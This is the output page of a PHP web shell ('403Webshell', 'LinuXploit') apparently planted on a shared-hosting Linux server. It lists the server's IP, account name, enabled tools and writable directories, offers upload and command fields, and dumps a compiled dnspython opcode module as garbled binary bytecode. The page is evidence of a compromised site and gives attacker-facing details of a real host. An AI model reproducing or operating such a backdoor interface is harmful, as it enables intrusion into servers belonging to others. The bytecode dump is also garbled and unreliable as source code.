403Webshell
Server IP : 162.0.232.140  /  Your IP : 18.116.42.179
Web Server : LiteSpeed
System : Linux premium139.web-hosting.com 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
User : micrcvoy ( 740)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/self/root/lib/python3.6/site-packages/dns/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/self/root/lib/python3.6/site-packages/dns/__pycache__/opcode.cpython-36.pyc
3

�b�W�	�@s�dZddlZdZdZdZdZdZeeeeed�Ze	dd	�ej
�D��ZGd
d�dejj
�Zdd
�Zdd�Zdd�Zdd�Zdd�ZdS)zDNS Opcodes.�N����)�QUERY�IQUERY�STATUS�NOTIFY�UPDATEccs|]\}}||fVqdS)N�)�.0�x�yrr�/usr/lib/python3.6/opcode.py�	<genexpr>&src@seZdZdZdS)�
UnknownOpcodezAn DNS opcode is unknown.N)�__name__�
__module__�__qualname__�__doc__rrrrr)srcCsB|j�r$t|�}|dkr$|dkr$|Stj|j��}|dkr>t�|S)z�Convert text into an opcode.

    @param text: the textual opcode
    @type text: string
    @raises UnknownOpcode: the opcode is unknown
    @rtype: int
    r�N)�isdigit�int�_by_text�get�upperr)�text�valuerrr�	from_text.s	rcCs|d@d?S)zUExtract an opcode from DNS message flags.

    @param flags: int
    @rtype: int
    ix�r)�flagsrrr�
from_flagsAsr!cCs|d>d@S)z`Convert an opcode to a value suitable for ORing into DNS message
    flags.
    @rtype: int
    rixr)rrrr�to_flagsKsr"cCstj|�}|dkrt|�}|S)z�Convert an opcode to text.

    @param value: the opcdoe
    @type value: int
    @raises UnknownOpcode: the opcode is unknown
    @rtype: string
    N)�	_by_valuer�str)rrrrr�to_textTs	
r%cCst|�tkS)znTrue if the opcode in flags is UPDATE.

    @param flags: DNS flags
    @type flags: int
    @rtype: bool
    )r!r
)r rrr�	is_updatecsr&)rZ
dns.exceptionZdnsrrrr	r
r�dict�itemsr#Z	exceptionZDNSExceptionrrr!r"r%r&rrrr�<module>s$
	

Youez - 2016 - github.com/yon3zu
LinuXploit